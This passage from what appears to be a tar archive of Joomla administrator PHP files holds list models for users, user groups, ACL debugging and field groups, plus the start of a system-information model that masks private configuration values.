[0, 1]); } // Filter by a single category. $categoryId = (int) $this->getState('filter.category_id'); if ($categoryId) { $query->where($db->quoteName('a.catid') . ' = :catid') ->bind(':catid', $categoryId, ParameterType::INTEGER); } // Filter by a single user. $userId = (int) $this->getState('filter.user_id'); if ($userId) { // Add the body and where filter. $query->select('a.body') ->where($db->quoteName('a.user_id') . ' = :user_id') ->bind(':user_id', $userId, ParameterType::INTEGER); } // Filter on the level. if ($level = $this->getState('filter.level')) { $level = (int) $level; $query->where($db->quoteName('c.level') . ' <= :level') ->bind(':level', $level, ParameterType::INTEGER); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.review_time')) . ' ' . $db->escape($this->getState('list.direction', 'DESC'))); return $query; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.published'); $id .= ':' . $this->getState('filter.category_id'); $id .= ':' . $this->getState('filter.user_id'); $id .= ':' . $this->getState('filter.level'); return parent::getStoreId($id); } /** * Gets a user object if the user filter is set. * * @return User The User object * * @since 2.5 */ public function getUser() { $user = new User(); // Filter by search in title $search = (int) $this->getState('filter.user_id'); if ($search != 0) { $user->load((int) $search); } return $user; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 * @throws \Exception */ protected function populateState($ordering = 'a.review_time', $direction = 'desc') { // Adjust the context to support modal layouts. if ($layout = Factory::getApplication()->getInput()->get('layout')) { $this->context .= '.' . $layout; } parent::populateState($ordering, $direction); } } DebuggroupModel.php 0000644 00000020145 15172776135 0010361 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Access\Access; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\Object\CMSObject; use Joomla\Component\Users\Administrator\Helper\DebugHelper; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Methods supporting a list of User ACL permissions * * @since 1.6 */ class DebuggroupModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'a.title', 'component', 'a.name', 'a.lft', 'a.id', 'level_start', 'level_end', 'a.level', ]; } parent::__construct($config, $factory); } /** * Get a list of the actions. * * @return array * * @since 1.6 */ public function getDebugActions() { $component = $this->getState('filter.component'); return DebugHelper::getDebugActions($component); } /** * Override getItems method. * * @return array * * @since 1.6 */ public function getItems() { $groupId = $this->getState('group_id'); if (($assets = parent::getItems()) && $groupId) { $actions = $this->getDebugActions(); foreach ($assets as &$asset) { $asset->checks = []; foreach ($actions as $action) { $name = $action[0]; $asset->checks[$name] = Access::checkGroup($groupId, $name, $asset->name); } } } return $assets; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 */ protected function populateState($ordering = 'a.lft', $direction = 'asc') { $app = Factory::getApplication(); // Adjust the context to support modal layouts. $layout = $app->getInput()->get('layout', 'default'); if ($layout) { $this->context .= '.' . $layout; } // Load the filter state. $this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string')); $this->setState('group_id', $this->getUserStateFromRequest($this->context . '.group_id', 'group_id', 0, 'int', false)); $levelStart = $this->getUserStateFromRequest($this->context . '.filter.level_start', 'filter_level_start', '', 'cmd'); $this->setState('filter.level_start', $levelStart); $value = $this->getUserStateFromRequest($this->context . '.filter.level_end', 'filter_level_end', '', 'cmd'); if ($value > 0 && $value < $levelStart) { $value = $levelStart; } $this->setState('filter.level_end', $value); $this->setState('filter.component', $this->getUserStateFromRequest($this->context . '.filter.component', 'filter_component', '', 'string')); // Load the parameters. $params = ComponentHelper::getParams('com_users'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('group_id'); $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.level_start'); $id .= ':' . $this->getState('filter.level_end'); $id .= ':' . $this->getState('filter.component'); return parent::getStoreId($id); } /** * Get the group being debugged. * * @return CMSObject * * @since 1.6 */ public function getGroup() { $groupId = (int) $this->getState('group_id'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName(['id', 'title'])) ->from($db->quoteName('#__usergroups')) ->where($db->quoteName('id') . ' = :id') ->bind(':id', $groupId, ParameterType::INTEGER); $db->setQuery($query); try { $group = $db->loadObject(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } return $group; } /** * Build an SQL query to load the list data. * * @return DatabaseQuery * * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.name, a.title, a.level, a.lft, a.rgt' ) ); $query->from($db->quoteName('#__assets', 'a')); // Filter the items over the search string if set. if ($this->getState('filter.search')) { $search = '%' . trim($this->getState('filter.search')) . '%'; // Add the clauses to the query. $query->where( '(' . $db->quoteName('a.name') . ' LIKE :name' . ' OR ' . $db->quoteName('a.title') . ' LIKE :title)' ) ->bind(':name', $search) ->bind(':title', $search); } // Filter on the start and end levels. $levelStart = (int) $this->getState('filter.level_start'); $levelEnd = (int) $this->getState('filter.level_end'); if ($levelEnd > 0 && $levelEnd < $levelStart) { $levelEnd = $levelStart; } if ($levelStart > 0) { $query->where($db->quoteName('a.level') . ' >= :levelStart') ->bind(':levelStart', $levelStart, ParameterType::INTEGER); } if ($levelEnd > 0) { $query->where($db->quoteName('a.level') . ' <= :levelEnd') ->bind(':levelEnd', $levelEnd, ParameterType::INTEGER); } // Filter the items over the component if set. if ($this->getState('filter.component')) { $component = $this->getState('filter.component'); $lcomponent = $component . '.%'; $query->where( '(' . $db->quoteName('a.name') . ' = :component' . ' OR ' . $db->quoteName('a.name') . ' LIKE :lcomponent)' ) ->bind(':component', $component) ->bind(':lcomponent', $lcomponent); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } } GroupsModel.php 0000644 00000017670 15172776135 0007546 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_fields * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Fields\Administrator\Model; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Groups Model * * @since 3.7.0 */ class GroupsModel extends ListModel { /** * Context string for the model type. This is used to handle uniqueness * when dealing with the getStoreId() method and caching data structures. * * @var string * @since 3.7.0 */ protected $context = 'com_fields.groups'; /** * Constructor * * @param array $config An array of configuration options (name, state, dbo, table_path, ignore_request). * @param MVCFactoryInterface $factory The factory. * * @since 3.7.0 * @throws \Exception */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'id', 'a.id', 'title', 'a.title', 'type', 'a.type', 'state', 'a.state', 'access', 'a.access', 'access_level', 'language', 'a.language', 'ordering', 'a.ordering', 'checked_out', 'a.checked_out', 'checked_out_time', 'a.checked_out_time', 'created', 'a.created', 'created_by', 'a.created_by', ]; } parent::__construct($config, $factory); } /** * Method to auto-populate the model state. * * This method should only be called once per instantiation and is designed * to be called on the first call to the getState() method unless the model * configuration flag to ignore the request is set. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 3.7.0 */ protected function populateState($ordering = null, $direction = null) { // List state information. parent::populateState('a.ordering', 'asc'); $context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content', 'CMD'); $this->setState('filter.context', $context); } /** * Method to get a store id based on the model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id An identifier string to generate the store id. * * @return string A store id. * * @since 3.7.0 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.context'); $id .= ':' . $this->getState('filter.state'); $id .= ':' . print_r($this->getState('filter.language'), true); return parent::getStoreId($id); } /** * Method to get a DatabaseQuery object for retrieving the data set from a database. * * @return \Joomla\Database\DatabaseQuery A DatabaseQuery object to retrieve the data set. * * @since 3.7.0 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); $user = $this->getCurrentUser(); // Select the required fields from the table. $query->select($this->getState('list.select', 'a.*')); $query->from('#__fields_groups AS a'); // Join over the language $query->select('l.title AS language_title, l.image AS language_image') ->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor')->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level')->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the users for the author. $query->select('ua.name AS author_name')->join('LEFT', '#__users AS ua ON ua.id = a.created_by'); // Filter by context if ($context = $this->getState('filter.context', 'com_fields')) { $query->where($db->quoteName('a.context') . ' = :context') ->bind(':context', $context); } // Filter by access level. if ($access = $this->getState('filter.access')) { if (is_array($access)) { $access = ArrayHelper::toInteger($access); $query->whereIn($db->quoteName('a.access'), $access); } else { $access = (int) $access; $query->where($db->quoteName('a.access') . ' = :access') ->bind(':access', $access, ParameterType::INTEGER); } } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = $user->getAuthorisedViewLevels(); $query->whereIn($db->quoteName('a.access'), $groups); } // Filter by published state $state = $this->getState('filter.state'); if (is_numeric($state)) { $state = (int) $state; $query->where($db->quoteName('a.state') . ' = :state') ->bind(':state', $state, ParameterType::INTEGER); } elseif (!$state) { $query->whereIn($db->quoteName('a.state'), [0, 1]); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $search = (int) substr($search, 3); $query->where($db->quoteName('a.id') . ' = :search') ->bind(':search', $search, ParameterType::INTEGER); } else { $search = '%' . str_replace(' ', '%', trim($search)) . '%'; $query->where($db->quoteName('a.title') . ' LIKE :search') ->bind(':search', $search); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $language = (array) $language; $query->whereIn($db->quoteName('a.language'), $language, ParameterType::STRING); } // Add the list ordering clause $listOrdering = $this->getState('list.ordering', 'a.ordering'); $listDirn = $db->escape($this->getState('list.direction', 'ASC')); $query->order($db->escape($listOrdering) . ' ' . $listDirn); return $query; } /** * Gets an array of objects from the results of database query. * * @param string $query The query. * @param integer $limitstart Offset. * @param integer $limit The number of records. * * @return array An array of results. * * @since 3.8.7 * @throws \RuntimeException */ protected function _getList($query, $limitstart = 0, $limit = 0) { $result = parent::_getList($query, $limitstart, $limit); if (is_array($result)) { foreach ($result as $group) { $group->params = new Registry($group->params); } } return $result; } } UsersModel.php 0000644 00000050111 15172776135 0007353 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Date\Date; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Methods supporting a list of user records. * * @since 1.6 */ class UsersModel extends ListModel { /** * A list of filter variables to not merge into the model's state * * @var array * @since 4.0.0 */ protected $filterForbiddenList = ['groups', 'excluded']; /** * Override parent constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'id', 'a.id', 'name', 'a.name', 'username', 'a.username', 'email', 'a.email', 'block', 'a.block', 'sendEmail', 'a.sendEmail', 'registerDate', 'a.registerDate', 'lastvisitDate', 'a.lastvisitDate', 'activation', 'a.activation', 'active', 'group_id', 'range', 'lastvisitrange', 'state', 'mfa', ]; } parent::__construct($config, $factory); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 * @throws \Exception */ protected function populateState($ordering = 'a.name', $direction = 'asc') { $app = Factory::getApplication(); $input = $app->getInput(); // Adjust the context to support modal layouts. if ($layout = $input->get('layout', 'default', 'cmd')) { $this->context .= '.' . $layout; } $groups = json_decode(base64_decode($input->get('groups', '', 'BASE64'))); if (isset($groups)) { $groups = ArrayHelper::toInteger($groups); } $this->setState('filter.groups', $groups); $excluded = json_decode(base64_decode($input->get('excluded', '', 'BASE64'))); if (isset($excluded)) { $excluded = ArrayHelper::toInteger($excluded); } $this->setState('filter.excluded', $excluded); // Load the parameters. $params = ComponentHelper::getParams('com_users'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.active'); $id .= ':' . $this->getState('filter.state'); $id .= ':' . $this->getState('filter.group_id'); $id .= ':' . $this->getState('filter.range'); if (PluginHelper::isEnabled('multifactorauth')) { $id .= ':' . $this->getState('filter.mfa'); } return parent::getStoreId($id); } /** * Gets the list of users and adds expensive joins to the result set. * * @return mixed An array of data items on success, false on failure. * * @since 1.6 */ public function getItems() { // Get a storage key. $store = $this->getStoreId(); // Try to load the data from internal storage. if (empty($this->cache[$store])) { $groups = $this->getState('filter.groups'); $groupId = $this->getState('filter.group_id'); if (isset($groups) && (empty($groups) || $groupId && !in_array($groupId, $groups))) { $items = []; } else { $items = parent::getItems(); } // Bail out on an error or empty list. if (empty($items)) { $this->cache[$store] = $items; return $items; } // Joining the groups with the main query is a performance hog. // Find the information only on the result set. // First pass: get list of the user ids and reset the counts. $userIds = []; foreach ($items as $item) { $userIds[] = (int) $item->id; $item->group_count = 0; $item->group_names = ''; $item->note_count = 0; } // Get the counts from the database only for the users in the list. $db = $this->getDatabase(); $query = $db->getQuery(true); // Join over the group mapping table. $query->select('map.user_id, COUNT(map.group_id) AS group_count') ->from('#__user_usergroup_map AS map') ->whereIn($db->quoteName('map.user_id'), $userIds) ->group('map.user_id') // Join over the user groups table. ->join('LEFT', '#__usergroups AS g2 ON g2.id = map.group_id'); $db->setQuery($query); // Load the counts into an array indexed on the user id field. try { $userGroups = $db->loadObjectList('user_id'); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } $query->clear() ->select('n.user_id, COUNT(n.id) As note_count') ->from('#__user_notes AS n') ->whereIn($db->quoteName('n.user_id'), $userIds) ->where('n.state >= 0') ->group('n.user_id'); $db->setQuery($query); // Load the counts into an array indexed on the aro.value field (the user id). try { $userNotes = $db->loadObjectList('user_id'); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } // Second pass: collect the group counts into the main items array. foreach ($items as &$item) { if (isset($userGroups[$item->id])) { $item->group_count = $userGroups[$item->id]->group_count; // Group_concat in other databases is not supported $item->group_names = $this->getUserDisplayedGroups($item->id); } if (isset($userNotes[$item->id])) { $item->note_count = $userNotes[$item->id]->note_count; } } // Add the items to the internal cache. $this->cache[$store] = $items; } return $this->cache[$store]; } /** * Get the filter form * * @param array $data data * @param boolean $loadData load current data * * @return Form|null The \JForm object or null if the form can't be found * * @since 4.2.0 */ public function getFilterForm($data = [], $loadData = true) { $form = parent::getFilterForm($data, $loadData); if ($form && !PluginHelper::isEnabled('multifactorauth')) { $form->removeField('mfa', 'filter'); } return $form; } /** * Build an SQL query to load the list data. * * @return DatabaseQuery * * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*' ) ); $query->from($db->quoteName('#__users') . ' AS a'); // Include MFA information if (PluginHelper::isEnabled('multifactorauth')) { $subQuery = $db->getQuery(true) ->select( [ 'MIN(' . $db->quoteName('user_id') . ') AS ' . $db->quoteName('uid'), 'COUNT(*) AS ' . $db->quoteName('mfaRecords'), ] ) ->from($db->quoteName('#__user_mfa')) ->group($db->quoteName('user_id')); $query->select($db->quoteName('mfa.mfaRecords')) ->join( 'left', '(' . $subQuery . ') AS ' . $db->quoteName('mfa'), $db->quoteName('mfa.uid') . ' = ' . $db->quoteName('a.id') ); $mfaState = $this->getState('filter.mfa'); if (is_numeric($mfaState)) { $mfaState = (int) $mfaState; if ($mfaState === 1) { $query->where( '((' . $db->quoteName('mfa.mfaRecords') . ' > 0) OR (' . $db->quoteName('a.otpKey') . ' IS NOT NULL AND ' . $db->quoteName('a.otpKey') . ' != ' . $db->quote('') . '))' ); } else { $query->where( '((' . $db->quoteName('mfa.mfaRecords') . ' = 0 OR ' . $db->quoteName('mfa.mfaRecords') . ' IS NULL) AND (' . $db->quoteName('a.otpKey') . ' IS NULL OR ' . $db->quoteName('a.otpKey') . ' = ' . $db->quote('') . '))' ); } } } // If the model is set to check item state, add to the query. $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where($db->quoteName('a.block') . ' = :state') ->bind(':state', $state, ParameterType::INTEGER); } // If the model is set to check the activated state, add to the query. $active = $this->getState('filter.active'); if (is_numeric($active)) { if ($active == '0') { $query->whereIn($db->quoteName('a.activation'), ['', '0']); } elseif ($active == '1') { $query->where($query->length($db->quoteName('a.activation')) . ' > 1'); } } // Filter the items over the group id if set. $groupId = $this->getState('filter.group_id'); $groups = $this->getState('filter.groups'); if ($groupId || isset($groups)) { $group_by = [ 'a.id', 'a.name', 'a.username', 'a.password', 'a.block', 'a.sendEmail', 'a.registerDate', 'a.lastvisitDate', 'a.activation', 'a.params', 'a.email', 'a.lastResetTime', 'a.resetCount', 'a.otpKey', 'a.otep', 'a.requireReset', ]; if (PluginHelper::isEnabled('multifactorauth')) { $group_by[] = 'mfa.mfaRecords'; } $query->join('LEFT', '#__user_usergroup_map AS map2 ON map2.user_id = a.id') ->group($db->quoteName($group_by)); if ($groupId) { $groupId = (int) $groupId; $query->where($db->quoteName('map2.group_id') . ' = :group_id') ->bind(':group_id', $groupId, ParameterType::INTEGER); } if (isset($groups)) { $query->whereIn($db->quoteName('map2.group_id'), $groups); } } // Filter the items over the search string if set. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $ids = (int) substr($search, 3); $query->where($db->quoteName('a.id') . ' = :id'); $query->bind(':id', $ids, ParameterType::INTEGER); } elseif (stripos($search, 'username:') === 0) { $search = '%' . substr($search, 9) . '%'; $query->where($db->quoteName('a.username') . ' LIKE :username'); $query->bind(':username', $search); } else { $search = '%' . trim($search) . '%'; // Add the clauses to the query. $query->where( '(' . $db->quoteName('a.name') . ' LIKE :name' . ' OR ' . $db->quoteName('a.username') . ' LIKE :username' . ' OR ' . $db->quoteName('a.email') . ' LIKE :email)' ) ->bind(':name', $search) ->bind(':username', $search) ->bind(':email', $search); } } // Add filter for registration time ranges select list. UI Visitors get a range of predefined // values. API users can do a full range based on ISO8601 $range = $this->getState('filter.range'); $registrationStart = $this->getState('filter.registrationDateStart'); $registrationEnd = $this->getState('filter.registrationDateEnd'); // Apply the range filter. if ($range || ($registrationStart && $registrationEnd)) { if ($range) { $dates = $this->buildDateRange($range); } else { $dates = [ 'dNow' => $registrationEnd, 'dStart' => $registrationStart, ]; } if ($dates['dStart'] !== false) { $dStart = $dates['dStart']->format('Y-m-d H:i:s'); if ($dates['dNow'] === false) { $query->where($db->quoteName('a.registerDate') . ' < :registerDate'); $query->bind(':registerDate', $dStart); } else { $dNow = $dates['dNow']->format('Y-m-d H:i:s'); $query->where($db->quoteName('a.registerDate') . ' BETWEEN :registerDate1 AND :registerDate2'); $query->bind(':registerDate1', $dStart); $query->bind(':registerDate2', $dNow); } } } // Add filter for last visit time ranges select list. UI Visitors get a range of predefined // values. API users can do a full range based on ISO8601 $lastvisitrange = $this->getState('filter.lastvisitrange'); $lastVisitStart = $this->getState('filter.lastVisitStart'); $lastVisitEnd = $this->getState('filter.lastVisitEnd'); // Apply the range filter. if ($lastvisitrange || ($lastVisitStart && $lastVisitEnd)) { if ($lastvisitrange) { $dates = $this->buildDateRange($lastvisitrange); } else { $dates = [ 'dNow' => $lastVisitEnd, 'dStart' => $lastVisitStart, ]; } if ($dates['dStart'] === false) { $query->where($db->quoteName('a.lastvisitDate') . ' IS NULL'); } else { $query->where($db->quoteName('a.lastvisitDate') . ' IS NOT NULL'); $dStart = $dates['dStart']->format('Y-m-d H:i:s'); if ($dates['dNow'] === false) { $query->where($db->quoteName('a.lastvisitDate') . ' < :lastvisitDate'); $query->bind(':lastvisitDate', $dStart); } else { $dNow = $dates['dNow']->format('Y-m-d H:i:s'); $query->where($db->quoteName('a.lastvisitDate') . ' BETWEEN :lastvisitDate1 AND :lastvisitDate2'); $query->bind(':lastvisitDate1', $dStart); $query->bind(':lastvisitDate2', $dNow); } } } // Filter by excluded users $excluded = $this->getState('filter.excluded'); if (!empty($excluded)) { $query->whereNotIn($db->quoteName('id'), $excluded); } // Add the list ordering clause. $query->order( $db->quoteName($db->escape($this->getState('list.ordering', 'a.name'))) . ' ' . $db->escape($this->getState('list.direction', 'ASC')) ); return $query; } /** * Construct the date range to filter on. * * @param string $range The textual range to construct the filter for. * * @return array The date range to filter on. * * @since 3.6.0 * @throws \Exception */ private function buildDateRange($range) { // Get UTC for now. $dNow = new Date(); $dStart = clone $dNow; switch ($range) { case 'past_week': $dStart->modify('-7 day'); break; case 'past_1month': $dStart->modify('-1 month'); break; case 'past_3month': $dStart->modify('-3 month'); break; case 'past_6month': $dStart->modify('-6 month'); $arr = []; break; case 'post_year': $dNow = false; // No break case 'past_year': $dStart->modify('-1 year'); break; case 'today': // Ranges that need to align with local 'days' need special treatment. $app = Factory::getApplication(); $offset = $app->get('offset'); // Reset the start time to be the beginning of today, local time. $dStart = new Date('now', $offset); $dStart->setTime(0, 0, 0); // Now change the timezone back to UTC. $tz = new \DateTimeZone('GMT'); $dStart->setTimezone($tz); break; case 'never': $dNow = false; $dStart = false; break; } return ['dNow' => $dNow, 'dStart' => $dStart]; } /** * SQL server change * * @param integer $userId User identifier * * @return string Groups titles imploded :$ */ protected function getUserDisplayedGroups($userId) { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName('title')) ->from($db->quoteName('#__usergroups', 'ug')) ->join('LEFT', $db->quoteName('#__user_usergroup_map', 'map') . ' ON (ug.id = map.group_id)') ->where($db->quoteName('map.user_id') . ' = :user_id') ->bind(':user_id', $userId, ParameterType::INTEGER); try { $result = $db->setQuery($query)->loadColumn(); } catch (\RuntimeException $e) { $result = []; } return implode("\n", $result); } } SysinfoModel.php 0000644 00000052456 15173024667 0007717 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_admin * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Admin\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\CMS\Version; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Model for the display of system information. * * @since 1.6 */ class SysinfoModel extends BaseDatabaseModel { /** * Some PHP settings * * @var array * @since 1.6 */ protected $php_settings = []; /** * Config values * * @var array * @since 1.6 */ protected $config = []; /** * Some system values * * @var array * @since 1.6 */ protected $info = []; /** * PHP info * * @var string * @since 1.6 */ protected $php_info = null; /** * Array containing the phpinfo() data. * * @var array * * @since 3.5 */ protected $phpInfoArray; /** * Private/critical data that we don't want to share * * @var array * * @since 3.5 */ protected $privateSettings = [ 'phpInfoArray' => [ 'CONTEXT_DOCUMENT_ROOT', 'Cookie', 'DOCUMENT_ROOT', 'extension_dir', 'error_log', 'Host', 'HTTP_COOKIE', 'HTTP_HOST', 'HTTP_ORIGIN', 'HTTP_REFERER', 'HTTP Request', 'include_path', 'mysql.default_socket', 'MYSQL_SOCKET', 'MYSQL_INCLUDE', 'MYSQL_LIBS', 'mysqli.default_socket', 'MYSQLI_SOCKET', 'PATH', 'Path to sendmail', 'pdo_mysql.default_socket', 'Referer', 'REMOTE_ADDR', 'SCRIPT_FILENAME', 'sendmail_path', 'SERVER_ADDR', 'SERVER_ADMIN', 'Server Administrator', 'SERVER_NAME', 'Server Root', 'session.name', 'session.save_path', 'upload_tmp_dir', 'User/Group', 'open_basedir', ], 'other' => [ 'db', 'dbprefix', 'fromname', 'live_site', 'log_path', 'mailfrom', 'memcached_server_host', 'open_basedir', 'Origin', 'proxy_host', 'proxy_user', 'proxy_pass', 'redis_server_host', 'redis_server_auth', 'secret', 'sendmail', 'session.save_path', 'session_memcached_server_host', 'session_redis_server_host', 'session_redis_server_auth', 'sitename', 'smtphost', 'tmp_path', 'open_basedir', ], ]; /** * System values that can be "safely" shared * * @var array * * @since 3.5 */ protected $safeData; /** * Information about writable state of directories * * @var array * @since 1.6 */ protected $directories = []; /** * The current editor. * * @var string * @since 1.6 */ protected $editor = null; /** * Remove sections of data marked as private in the privateSettings * * @param array $dataArray Array with data that may contain private information * @param string $dataType Type of data to search for a specific section in the privateSettings array * * @return array * * @since 3.5 */ protected function cleanPrivateData(array $dataArray, string $dataType = 'other'): array { $dataType = isset($this->privateSettings[$dataType]) ? $dataType : 'other'; $privateSettings = $this->privateSettings[$dataType]; if (!$privateSettings) { return $dataArray; } foreach ($dataArray as $section => $values) { if (\is_array($values)) { $dataArray[$section] = $this->cleanPrivateData($values, $dataType); } if (\in_array($section, $privateSettings, true)) { $dataArray[$section] = $this->cleanSectionPrivateData($values); } } return $dataArray; } /** * Obfuscate section values * * @param mixed $sectionValues Section data * * @return string|array * * @since 3.5 */ protected function cleanSectionPrivateData($sectionValues) { if (!\is_array($sectionValues)) { if (strstr($sectionValues, JPATH_ROOT)) { $sectionValues = 'xxxxxx'; } return \strlen($sectionValues) ? 'xxxxxx' : ''; } foreach ($sectionValues as $setting => $value) { $sectionValues[$setting] = \strlen($value) ? 'xxxxxx' : ''; } return $sectionValues; } /** * Method to get the PHP settings * * @return array Some PHP settings * * @since 1.6 */ public function &getPhpSettings(): array { if (!empty($this->php_settings)) { return $this->php_settings; } $this->php_settings = [ 'memory_limit' => ini_get('memory_limit'), 'upload_max_filesize' => ini_get('upload_max_filesize'), 'post_max_size' => ini_get('post_max_size'), 'display_errors' => ini_get('display_errors') == '1', 'short_open_tag' => ini_get('short_open_tag') == '1', 'file_uploads' => ini_get('file_uploads') == '1', 'output_buffering' => (int) ini_get('output_buffering') !== 0, 'open_basedir' => ini_get('open_basedir'), 'session.save_path' => ini_get('session.save_path'), 'session.auto_start' => ini_get('session.auto_start'), 'disable_functions' => ini_get('disable_functions'), 'xml' => \extension_loaded('xml'), 'zlib' => \extension_loaded('zlib'), 'zip' => \function_exists('zip_open') && \function_exists('zip_read'), 'mbstring' => \extension_loaded('mbstring'), 'fileinfo' => \extension_loaded('fileinfo'), 'gd' => \extension_loaded('gd'), 'iconv' => \function_exists('iconv'), 'intl' => \function_exists('transliterator_transliterate'), 'max_input_vars' => ini_get('max_input_vars'), ]; return $this->php_settings; } /** * Method to get the config * * @return array config values * * @since 1.6 */ public function &getConfig(): array { if (!empty($this->config)) { return $this->config; } $registry = new Registry(new \JConfig()); $this->config = $registry->toArray(); $hidden = [ 'host', 'user', 'password', 'ftp_user', 'ftp_pass', 'smtpuser', 'smtppass', 'redis_server_auth', 'session_redis_server_auth', 'proxy_user', 'proxy_pass', 'secret', ]; foreach ($hidden as $key) { $this->config[$key] = 'xxxxxx'; } return $this->config; } /** * Method to get the system information * * @return array System information values * * @since 1.6 */ public 